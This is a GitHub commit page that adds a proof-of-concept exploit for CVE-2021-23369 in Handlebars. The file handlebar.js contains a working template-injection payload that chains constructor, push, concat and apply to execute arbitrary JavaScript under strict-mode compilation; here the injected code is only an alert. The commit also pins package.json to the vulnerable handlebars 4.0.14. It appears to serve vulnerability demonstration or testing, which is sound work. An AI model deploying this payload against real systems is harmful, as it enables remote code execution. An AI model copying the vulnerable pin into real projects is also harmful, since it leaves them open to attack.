Skip to content

Commit

Permalink
CVE-2021-23369 - handlebars
Browse files Browse the repository at this point in the history
  • Loading branch information
phameratl committed Aug 7, 2024
1 parent 6baa0dc commit 9a93cb6
Show file tree
Hide file tree
Showing 3 changed files with 102 additions and 0 deletions.
26 changes: 26 additions & 0 deletions handlebar.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@

// CVE-2021-23369

var hand = require('handlebars')

var s = `
{{#with "constructor"}}
{{#with split}}
{{pop (push "alert('Vulnerable Handlebars JS when compiling in strict mode');")}}
{{#with .}}
{{#with (concat (lookup join (slice 0 1)))}}
{{#each (slice 2 3)}}
{{#with (apply 0 ../..)}}
{{.}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
`;
var template = hand.compile(s, {
strict: true
});

console.log(template({}))
75 changes: 75 additions & 0 deletions package-lock.json

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions package.json
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
"license": "ISC",
"description": "",
"dependencies": {
"handlebars": "4.0.14",
"minimist": "1.2.5",
"mongodb": "^3.5.9",
"mongoose": "4.2.4",
Expand Down

0 comments on commit 9a93cb6

Please sign in to comment.